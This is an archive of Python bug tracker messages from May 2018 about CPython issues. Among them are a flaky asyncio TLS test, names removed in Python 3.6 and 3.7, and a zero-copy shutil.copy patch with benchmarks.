test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527522043.81.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: > If the purpose is to detect when the test hangs: use a timeout of 5 minutes, or at least 1 minute (60 seconds). OK, sounds good, will do that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:47:48 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 15:47:48 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527522468.45.0.682650639539.issue32458@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6793 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:50:06 2018 From: report at bugs.python.org (STINNER Victor) Date: Mon, 28 May 2018 15:50:06 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527522606.7.0.682650639539.issue32458@psf.upfronthosting.co.za> STINNER Victor added the comment: > OK, sounds good, will do that. Race condition! I created https://github.com/python/cpython/pull/7157 to increase the timeout from 5 seconds to 60 seconds. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:50:31 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Mon, 28 May 2018 15:50:31 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527522631.4.0.682650639539.issue32458@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- nosy: -giampaolo.rodola _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:54:01 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 28 May 2018 15:54:01 +0000 Subject: [issue33670] Use errorlevel of Sphinx main() in Doc\make.bat In-Reply-To: <1527521845.19.0.682650639539.issue33670@psf.upfronthosting.co.za> Message-ID: <1527522841.29.0.682650639539.issue33670@psf.upfronthosting.co.za> Andr?s Delfino added the comment: After the PR: C:\Users\adelfino\Desktop\Personal\repos\cpython\Doc>make venv Using py -3.6 (found with py.exe) Merging Misc/NEWS with py -3.6 -m blurb Running Sphinx v1.7.4 Sphinx error: Builder name venv not registered or available through entry point Build failed (exit code 2), check for error messages above. Any output will be found in build\venv ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:56:23 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Mon, 28 May 2018 15:56:23 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1527522983.28.0.682650639539.issue33257@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: Found yet another race condition -- when creating multiple Tk()s. Attached example (loops indefinitely inside Tcl: some internal list becomes circular for some reason). The obvious fix by wrapping Tcl calls with locks in Tkapp_New doesn't fix it -- must be something else. Since creatng multiple Tk's is an uncommon use case, this can wait. ---------- Added file: https://bugs.python.org/file47620/test_threads_tk.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:57:12 2018 From: report at bugs.python.org (Steve Dower) Date: Mon, 28 May 2018 15:57:12 +0000 Subject: [issue32533] SSLSocket read/write thread-unsafety In-Reply-To: <1515678068.63.0.467229070634.issue32533@psf.upfronthosting.co.za> Message-ID: <1527523032.1.0.682650639539.issue32533@psf.upfronthosting.co.za> Change by Steve Dower : ---------- keywords: +patch pull_requests: +6794 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 11:58:46 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 15:58:46 +0000 Subject: [issue33666] Document removal of os.errno In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527523126.59.0.682650639539.issue33666@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Here is a list of all names removed in 3.7 (except modules that was removed as a whole): abc.WeakSet argparse._collections argparse._copy argparse._ensure_value argparse._textwrap ast._NUM_TYPES asyncio.async asyncio.base_events.compat asyncio.base_events.coroutine asyncio.base_events._ensure_resolved asyncio.base_events.inspect asyncio.base_events._is_dgram_socket asyncio.base_events._is_stream_socket asyncio.base_futures.events asyncio.base_subprocess.compat asyncio.base_subprocess.coroutine asyncio.coroutines._AwaitableABC asyncio.coroutines.compat asyncio.coroutines._CoroutineABC asyncio.coroutines.debug_wrapper asyncio.coroutines.events asyncio.coroutines._inspect_iscoroutinefunction asyncio.coroutines.opcode asyncio.coroutines._types_coroutine asyncio.coroutines._types_CoroutineType asyncio.coroutines._YIELD_FROM asyncio.coroutines._YIELD_FROM_BUG asyncio.events.compat asyncio.events.constants asyncio.events.extract_stack asyncio.events._format_args_and_kwargs asyncio.events._format_callback asyncio.events._format_callback_source asyncio.events.functools asyncio.events._get_function_source asyncio.events.inspect asyncio.events.reprlib asyncio.events.traceback asyncio.futures.compat asyncio.futures.traceback asyncio.futures._TracebackLogger asyncio.locks.compat asyncio.proactor_events.compat asyncio.queues.compat asyncio.queues.coroutine asyncio.selector_events.compat asyncio.selector_events.coroutine asyncio.selector_events._SelectorSslTransport asyncio.selectors asyncio.sslproto.compat asyncio.sslproto._is_sslproto_available asyncio.streams.compat asyncio.streams.coroutine asyncio.subprocess.coroutine asyncio.tasks.async asyncio.tasks.compat asyncio.transports.compat asyncio.unix_events.compat asyncio.unix_events.coroutine asyncio.unix_events._fspath asyncio.unix_events._set_inheritable asyncio.unix_events._set_nonblocking code.argparse collections.AsyncGenerator collections.AsyncIterable collections.AsyncIterator collections.Awaitable collections.ByteString collections.Callable collections._class_template collections.Collection collections.Container collections.Coroutine collections._field_template collections.Generator collections.Hashable collections.ItemsView collections.Iterable collections.Iterator collections.KeysView collections.Mapping collections.MappingView collections.MutableMapping collections.MutableSequence collections.MutableSet collections._repr_template collections.Reversible collections.Sequence collections.Set collections.Sized collections.ValuesView concurrent.futures.process.multiprocessing concurrent.futures.process._shutdown concurrent.futures.process.SimpleQueue concurrent.futures.process._threads_queues concurrent.futures.thread concurrent.futures.ThreadPoolExecutor distutils.cmd.install_misc distutils.command.sdist.AsyncGeneratorType distutils.command.sdist.BuiltinFunctionType distutils.command.sdist.BuiltinMethodType distutils.command.sdist.CCompilerError distutils.command.sdist.CodeType distutils.command.sdist.CompileError distutils.command.sdist.coroutine distutils.command.sdist.CoroutineType distutils.command.sdist.dep_util distutils.command.sdist.DistutilsArgError distutils.command.sdist.DistutilsByteCompileError distutils.command.sdist.DistutilsClassError distutils.command.sdist.DistutilsError distutils.command.sdist.DistutilsExecError distutils.command.sdist.DistutilsFileError distutils.command.sdist.DistutilsGetoptError distutils.command.sdist.DistutilsInternalError distutils.command.sdist.DistutilsModuleError distutils.command.sdist.DistutilsPlatformError distutils.command.sdist.DistutilsSetupError distutils.command.sdist.DynamicClassAttribute distutils.command.sdist.FrameType distutils.command.sdist.FunctionType distutils.command.sdist.GeneratorType distutils.command.sdist.GetSetDescriptorType distutils.command.sdist.LambdaType distutils.command.sdist.LibError distutils.command.sdist.LinkError distutils.command.sdist.MappingProxyType distutils.command.sdist.MemberDescriptorType distutils.command.sdist.MethodType distutils.command.sdist.ModuleType distutils.command.sdist.new_class distutils.command.sdist.prepare_class distutils.command.sdist.PreprocessError distutils.command.sdist.SimpleNamespace distutils.command.sdist.TracebackType distutils.command.sdist.UnknownFileError doctest.argparse email.utils.ecre enum._or_ enum.reduce functools.MappingProxyType functools.WeakKeyDictionary gettext.copy gettext.ENOENT gettext.io gettext.struct http.client.os http.cookies._warn_deprecated_setter http.server.argparse importlib._bootstrap_external._code_to_bytecode importlib._bootstrap_external._validate_bytecode_header inspect.ast json.tool.collections lib2to3.pgen2.grammar.tokenize lib2to3.pgen2.tokenize.t lib2to3.pytree.warnings lib2to3.refactor._from_system_newlines lib2to3.refactor._open_with_encoding lib2to3.refactor._to_system_newlines locale.collections logging.config.thread modulefinder.struct multiprocessing.forkserver.read_unsigned multiprocessing.forkserver.UNSIGNED_STRUCT multiprocessing.forkserver.write_unsigned multiprocessing.reduction.abstractmethod ntpath.splitunc os.errno os.stat_float_times pathlib.contextmanager plistlib.Dict plistlib._InternalDict plistlib.Plist profile.OptionParser profile.os re._alphanum_bytes re._alphanum_str re._pattern_type socketserver.errno sre_compile.RANGE_IGNORE sre_constants.RANGE_IGNORE sre_parse._parse_sub_cond sre_parse.RANGE_IGNORE ssl.ipaddress ssl.re ssl.textwrap statistics.chain statistics.decimal subprocess._PLATFORM_DEFAULT_CLOSE_FDS tabnanny.getopt tarfile.__cvsid__ tarfile.__date__ token.ASYNC token.AWAIT tokenize.ASYNC tokenize.AWAIT trace.argparse types._collections_abc types._functools typing._Any typing.CallableMeta typing._ClassVar typing._collections_abc typing.collections_abc typing._FinalTypingBase typing._ForwardRef typing._G_base typing.GenericMeta typing._generic_new typing._get_type_vars typing._make_subclasshook typing._next_in_mro typing._NoReturn typing._no_slots_copy typing._Optional typing._PY36 typing._qualname typing._replace_arg typing._subs_tree typing._trim_name typing.TupleMeta typing._TypeAlias typing._type_vars typing._TypingBase typing.TypingMeta typing._Union unittest.util._ordered_count unittest.util.OrderedDict urllib.request.collections uuid.ctypes uuid.lib uuid.libname uuid._unixdll_getnode uuid._uuid_generate_time weakref.collections zipfile.re ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:04:11 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:04:11 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527523451.81.0.682650639539.issue31647@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 1f21ae710d83a37c872355612b58958cef4d5f95 by Yury Selivanov (Miss Islington (bot)) in branch '3.7': bpo-31647: Fix write_eof() after close() for SelectorSocketTransport (GH-7149) (GH-7153) https://github.com/python/cpython/commit/1f21ae710d83a37c872355612b58958cef4d5f95 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:08:46 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 16:08:46 +0000 Subject: [issue31467] cElementTree behaves differently compared to ElementTree In-Reply-To: <1505383581.51.0.650948952182.issue31467@psf.upfronthosting.co.za> Message-ID: <1527523726.96.0.682650639539.issue31467@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: -6786 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:17:25 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Mon, 28 May 2018 16:17:25 +0000 Subject: [issue33671] Efficient efficient zero-copy syscalls for shutil.copy* functions (Linux, OSX and Win) Message-ID: <1527524243.69.0.682650639539.issue33671@psf.upfronthosting.co.za> New submission from Giampaolo Rodola' : Patch in attachment uses platform specific zero-copy syscalls on Linux and Solaris (os.sendfile(2)), Windows (CopyFileW) and OSX (fcopyfile(2)) speeding up shutil.copyfile() and other functions using it (copy(), copy2(), copytree(), move()). Average speedup for a 512MB file copy is +24% on Linux, +50% on OSX and +48% on Windows by copying file on the same partition (SSD disk was used). Follows some benchmarks. Setup ===== Create 128K, 8M, 512M file: $ python -c "import os; f = open('f1', 'wb'); f.write(os.urandom(128 * 1024))" $ python -c "import os; f = open('f1', 'wb'); f.write(os.urandom(8 * 1024 * 1024))" $ python -c "import os; f = open('f1', 'wb'); f.write(os.urandom(512 * 1024 * 1024))" Benchmark: $ time ./python -m timeit -s 'import shutil; p1 = "f1"; p2 = "f2"' 'shutil.copyfile(p1, p2)' Linux ===== 128K copy (+13%): without patch: 1000 loops, best of 5: 228 usec per loop real 0m1.756s user 0m0.386s sys 0m1.116s with patch: 1000 loops, best of 5: 198 usec per loop real 0m1.464s user 0m0.281s sys 0m0.958s 8MB copy (+24%): without patch: 50 loops, best of 5: 10.1 msec per loop real 0m2.703s user 0m0.316s sys 0m1.847s with patch: 50 loops, best of 5: 7.78 msec per loop real 0m2.447s user 0m0.086s sys 0m1.682s 512MB copy (+26%): without patch: 1 loop, best of 5: 872 msec per loop real 0m5.574s user 0m0.402s sys 0m3.115s with patch: 1 loop, best of 5: 646 msec per loop real 0m5.475s user 0m0.037s sys 0m2.959s OSX === 128K copy (+8.5%): without patch: 500 loops, best of 5: 508 usec per loop real 0m2.971s user 0m0.442s sys 0m2.168s with patch: 500 loops, best of 5: 464 usec per loop real 0m2.798s user 0m0.379s sys 0m2.031s 8MB copy (+67%): without patch: 20 loops, best of 5: 32.8 msec per loop real 0m3.672s user 0m0.357s sys 0m1.434s with patch: 20 loops, best of 5: 10.8 msec per loop real 0m1.860s user 0m0.079s sys 0m0.719s 512MB copy (+50%): without patch: 1 loop, best of 5: 953 msec per loop real 0m5.930s user 0m1.021s sys 0m4.835s with patch: 1 loop, best of 5: 480 msec per loop real 0m3.150s user 0m0.067s sys 0m2.740s Windows ======= 128K copy (+69%): without patch: 50 loops, best of 5: 6.45 msec per loop with patch: 50 loops, best of 5: 1.99 msec per loop 8M copy (+64%): without patch: 10 loops, best of 5: 22.6 msec per loop with patch: 50 loops, best of 5: 7.95 msec per loop 512M copy (+48%): without patch: 1 loop, best of 5: 1.21 sec per loop with patch: 1 loop, best of 5: 629 msec per loop ---------- components: Library (Lib) files: shutil-zero-copy.diff keywords: needs review, patch messages: 317878 nosy: giampaolo.rodola priority: normal severity: normal stage: patch review status: open title: Efficient efficient zero-copy syscalls for shutil.copy* functions (Linux, OSX and Win) type: performance versions: Python 3.8 Added file: https://bugs.python.org/file47621/shutil-zero-copy.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:17:37 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:17:37 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527524257.82.0.682650639539.issue31647@psf.upfronthosting.co.za> Yury Selivanov added the comment: Merged, thanks for looking into this! BTW, if you have any other bugfixes in mind, today is pretty much last chance to get them into 3.7.0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:17:48 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:17:48 +0000 Subject: [issue31647] asyncio: StreamWriter write_eof() after close raises mysterious AttributeError In-Reply-To: <1506746563.39.0.213398074469.issue31647@psf.upfronthosting.co.za> Message-ID: <1527524268.73.0.682650639539.issue31647@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:18:28 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Mon, 28 May 2018 16:18:28 +0000 Subject: [issue33671] Efficient zero-copy for shutil.copy* functions (Linux, OSX and Win) In-Reply-To: <1527524243.69.0.682650639539.issue33671@psf.upfronthosting.co.za> Message-ID: <1527524308.75.0.682650639539.issue33671@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- title: Efficient efficient zero-copy syscalls for shutil.copy* functions (Linux, OSX and Win) -> Efficient zero-copy for shutil.copy* functions (Linux, OSX and Win) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:21:02 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Mon, 28 May 2018 16:21:02 +0000 Subject: [issue33671] Efficient zero-copy for shutil.copy* functions (Linux, OSX and Win) In-Reply-To: <1527524243.69.0.682650639539.issue33671@psf.upfronthosting.co.za> Message-ID: <1527524462.95.0.682650639539.issue33671@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- pull_requests: +6795 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:22:15 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Mon, 28 May 2018 16:22:15 +0000 Subject: [issue33671] Efficient zero-copy for shutil.copy* functions (Linux, OSX and Win) In-Reply-To: <1527524243.69.0.682650639539.issue33671@psf.upfronthosting.co.za> Message-ID: <1527524535.92.0.682650639539.issue33671@psf.upfronthosting.co.za> Giampaolo Rodola' added the comment: PR: https://github.com/python/cpython/pull/7160 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:24:57 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 16:24:57 +0000 Subject: [issue33666] Document removal of os.errno In-Reply-To: <1527512817.93.0.682650639539.issue33666@psf.upfronthosting.co.za> Message-ID: <1527524697.74.0.682650639539.issue33666@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: And here is a list of names removed in 3.6: asynchat.fifo asyncio.coroutines.futures asyncio.futures.Error asyncio.futures.reprlib asyncio.tasks.linecache asyncio.tasks.traceback copy.builtins copy._copy_with_constructor copy._copy_with_copy_method copy._EmptyClass copy.name copy.PyStringMap copy.t copy.weakref datetime._divide_and_round distutils.command.config.sys distutils.command.register.os distutils.command.register.string distutils.command.sdist.string distutils.extension.sys distutils.text_file.os email.feedparser.message email.header._embeded_header email._header_value_parser._Folded email.message.warnings ensurepip._MISSING_SSL_MESSAGE ensurepip._require_ssl_for_pip ensurepip.ssl fileinput.DEFAULT_BUFSIZE ftplib.os ftplib.warnings glob.glob2 http.server._quote_html importlib._bootstrap_external._BACKCOMPAT_MAGIC_NUMBER importlib._bootstrap_external._verbose_message importlib._bootstrap.FileFinder importlib._bootstrap._ManageReload importlib._bootstrap._POPULATE importlib._bootstrap.SourceFileLoader importlib.util._BACKCOMPAT_MAGIC_NUMBER importlib.util._Module inspect.getmoduleinfo inspect.ModuleInfo lib2to3.fixer_util.islice lib2to3.fixes.fix_dict.ArgList lib2to3.fixes.fix_dict.LParen lib2to3.fixes.fix_dict.RParen lib2to3.fixes.fix_dict.token lib2to3.fixes.fix_exec.pytree lib2to3.fixes.fix_filter.Call lib2to3.fixes.fix_filter.token lib2to3.fixes.fix_has_key.token lib2to3.fixes.fix_metaclass.Name lib2to3.fixes.fix_nonzero.syms lib2to3.fixes.fix_print.is_tuple lib2to3.fixes.fix_types.token lib2to3.fixes.fix_urllib.fixer_base lib2to3.fixes.fix_zip.Call lib2to3.patcomp.os lib2to3.patcomp._PATTERN_GRAMMAR_FILE lib2to3.refactor.bu lib2to3.refactor.with_statement multiprocessing.connection.ForkingPickler multiprocessing.heap.context multiprocessing.managers.context multiprocessing.popen_forkserver.context multiprocessing.popen_spawn_posix.context multiprocessing.queues.ForkingPickler multiprocessing.sharedctypes.ForkingPickler multiprocessing.spawn.pickle os._DummyDirEntry os._dummy_scandir pathlib._cached pyclbr.itemgetter pyclbr.os _pyio.array re._cache_repl re.sys site.aliasmbcs site.CONFIG_LINE sre_parse.isdigit sre_parse.isident sre_parse.isname ssl._import_symbols statistics._decimal_to_ratio tarfile.TarIter trace._err_exit trace.find_executable_linenos trace.find_lines trace.find_lines_from_code trace.find_strings trace.fullmodname trace.Ignore trace.modname trace.rx_blank trace.usage trace._usage trace._warn turtledemo.bytedesign.math turtledemo.planet_and_moon.sleep typing._geqv typing._gorg unittest.mock.DescriptorTypes unittest.mock._slotted wsgiref.simple_server.BufferedWriter xml.etree.ElementTree._IterParseIterator ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:28:30 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Mon, 28 May 2018 16:28:30 +0000 Subject: [issue33639] Use high-performance os.sendfile() in shutil.copy* In-Reply-To: <1527192929.89.0.682650639539.issue33639@psf.upfronthosting.co.za> Message-ID: <1527524910.24.0.682650639539.issue33639@psf.upfronthosting.co.za> Giampaolo Rodola' added the comment: Closing as duplicate of #33671. ---------- resolution: -> duplicate stage: patch review -> resolved status: open -> closed superseder: -> Efficient zero-copy for shutil.copy* functions (Linux, OSX and Win) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:29:08 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Mon, 28 May 2018 16:29:08 +0000 Subject: [issue33639] Use high-performance os.sendfile() in shutil.copy* In-Reply-To: <1527192929.89.0.682650639539.issue33639@psf.upfronthosting.co.za> Message-ID: <1527524948.18.0.682650639539.issue33639@psf.upfronthosting.co.za> Giampaolo Rodola' added the comment: Closing as duplicate of #33671. ---------- stage: resolved -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:29:15 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:29:15 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines Message-ID: <1527524955.7.0.682650639539.issue33672@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- components: asyncio nosy: asvetlov, yselivanov priority: normal severity: normal status: open title: Fix Task.__repr__ crash when trying to format Cython's bogus coroutines type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:30:44 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:30:44 +0000 Subject: [issue33672] Fix Task.__repr__ crash when trying to format Cython's bogus coroutines Message-ID: <1527525044.04.0.682650639539.issue33672@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- keywords: +patch pull_requests: +6796 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:32:35 2018 From: report at bugs.python.org (Lady Red) Date: Mon, 28 May 2018 16:32:35 +0000 Subject: [issue33667] Mock calls on mutable objects In-Reply-To: <1527513165.39.0.682650639539.issue33667@psf.upfronthosting.co.za> Message-ID: <1527525155.43.0.682650639539.issue33667@psf.upfronthosting.co.za> Lady Red added the comment: To have the behavior that you are expecting, I believe the mock would have to store a deep copy of every mutable object that is passed in to any of it's calls, in case that object later mutates. That would really expand the memory and time footprint of working with a Mock object. The mock object would grow with every call to. (This is already true, as it's adding to it's mock_calls list... but it would grow much more. ) I'm also not sure about the safety of trying to deepcopy all objects passed in. I think that in addition to the safety and memory/performance issues that I've highlighted, deepcopying all objects would lead to it's own unintuitive behaviors. Objects you get back from mock_call wouldn't be the objects that it was actually called with, they would be copies. I am attaching a file that illustrates this last point. ---------- nosy: +mcscope at gmail.com Added file: https://bugs.python.org/file47622/unintuitive_side_effect.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:33:01 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Mon, 28 May 2018 16:33:01 +0000 Subject: [issue33671] Efficient zero-copy for shutil.copy* functions (Linux, OSX and Win) In-Reply-To: <1527524243.69.0.682650639539.issue33671@psf.upfronthosting.co.za> Message-ID: <1527525181.83.0.682650639539.issue33671@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- nosy: +SilentGhost, StyXman, asvetlov, desbma, facundobatista, gps, josh.r, martin.panter, ncoghlan, neologix, petr.viktorin, pitrou, python-dev, r.david.murray, tarek, vstinner, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:37:14 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 16:37:14 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527525434.38.0.682650639539.issue32374@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 6ec325d48348fb52a421354ba563ff9c1f368054 by Miss Islington (bot) in branch '3.6': bpo-32374: Ignore Python-level exceptions in test_bad_traverse (GH-7145) https://github.com/python/cpython/commit/6ec325d48348fb52a421354ba563ff9c1f368054 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:38:25 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:38:25 +0000 Subject: [issue31096] asyncio.stream.FlowControlMixin._drain_helper may lead to a blocking behavior In-Reply-To: <1501573266.21.0.530489547005.issue31096@psf.upfronthosting.co.za> Message-ID: <1527525505.46.0.682650639539.issue31096@psf.upfronthosting.co.za> Yury Selivanov added the comment: Documenting this would be a great first step. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:40:26 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:40:26 +0000 Subject: [issue23749] asyncio missing wrap_socket (starttls) In-Reply-To: <1427119199.61.0.485462184824.issue23749@psf.upfronthosting.co.za> Message-ID: <1527525626.77.0.682650639539.issue23749@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:42:08 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:42:08 +0000 Subject: [issue33505] Optimize asyncio.ensure_future by reordering if conditions In-Reply-To: <1526330732.96.0.682650639539.issue33505@psf.upfronthosting.co.za> Message-ID: <1527525728.22.0.682650639539.issue33505@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset e549c4be5fb010f5faf12236af8faa720a1429be by Yury Selivanov (jimmylai) in branch 'master': bpo-33505: Optimize asyncio.ensure_future by reordering if conditions (GH-6836) https://github.com/python/cpython/commit/e549c4be5fb010f5faf12236af8faa720a1429be ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:43:24 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:43:24 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor In-Reply-To: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> Message-ID: <1527525804.13.0.682650639539.issue33469@psf.upfronthosting.co.za> Yury Selivanov added the comment: Hopefully asyncio.run() in Python 3.7 will handle this case correctly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:43:33 2018 From: report at bugs.python.org (miss-islington) Date: Mon, 28 May 2018 16:43:33 +0000 Subject: [issue33505] Optimize asyncio.ensure_future by reordering if conditions In-Reply-To: <1526330732.96.0.682650639539.issue33505@psf.upfronthosting.co.za> Message-ID: <1527525813.44.0.682650639539.issue33505@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6797 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:48:02 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:48:02 +0000 Subject: [issue32591] Deprecate sys.set_coroutine_wrapper and replace it with more focused API(s) In-Reply-To: <1516259345.01.0.467229070634.issue32591@psf.upfronthosting.co.za> Message-ID: <1527526082.61.0.682650639539.issue32591@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 12:52:06 2018 From: report at bugs.python.org (Yury Selivanov) Date: Mon, 28 May 2018 16:52:06 +0000 Subject: [issue33469] RuntimeError after closing loop that used run_in_executor In-Reply-To: <1526111588.74.0.682650639539.issue33469@psf.upfronthosting.co.za> Message-ID: <1527526326.52.0.682650639539.issue33469@psf.upfronthosting.co.za> Yury Selivanov added the comment: Ah, I see, the callback that tracks the state of the wrapped concurrent.Future doesn't check that the loop is closed and its future has been cancelled. I think this is a bug. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 13:02:15 2018 From: report at bugs.python.org (Eric V. Smith) Date: Mon, 28 May 2018 17:02:15 +0000 Subject: [issue33669] str.format should raise exception when placeholder number doesn't match argument number In-Reply-To: <1527519449.91.0.682650639539.issue33669@psf.upfronthosting.co.za> Message-ID: <1527526935.79.0.682650639539.issue33669@psf.upfronthosting.co.za> Eric V. Smith added the comment: This was a deliberate design choice, and as Serhiy notes, at least partially driven by translations. It seems to me it would be a job for a linter to point out a problem, if the string is a constant. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 13:31:17 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 28 May 2018 17:31:17 +0000 Subject: [issue33669] str.format should raise exception when placeholder number doesn't match argument number In-Reply-To: <1527519449.91.0.682650639539.issue33669@psf.upfronthosting.co.za> Message-ID: <1527528677.83.0.682650639539.issue33669@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: If issue28308 be implemented, it may be that the Python compiler itself will emit a warning. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 13:36:40 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 28 May 2018 17:36:40 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed Message-ID: <1527529000.2.0.682650639539.issue33673@psf.upfronthosting.co.za> New submission from Andr?s Delfino : python-docs-theme is being installed only if Sphinx is not installed too. PR fixes this. ---------- components: Demos and Tools messages: 317892 nosy: adelfino priority: normal severity: normal status: open title: Install python-docs-theme even if Sphinx is already installed type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon May 28 13:37:41 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Mon, 28 May 2018 17:37:41 +0000 Subject: [issue33673] Install python-docs-theme even if Sphinx is already installed 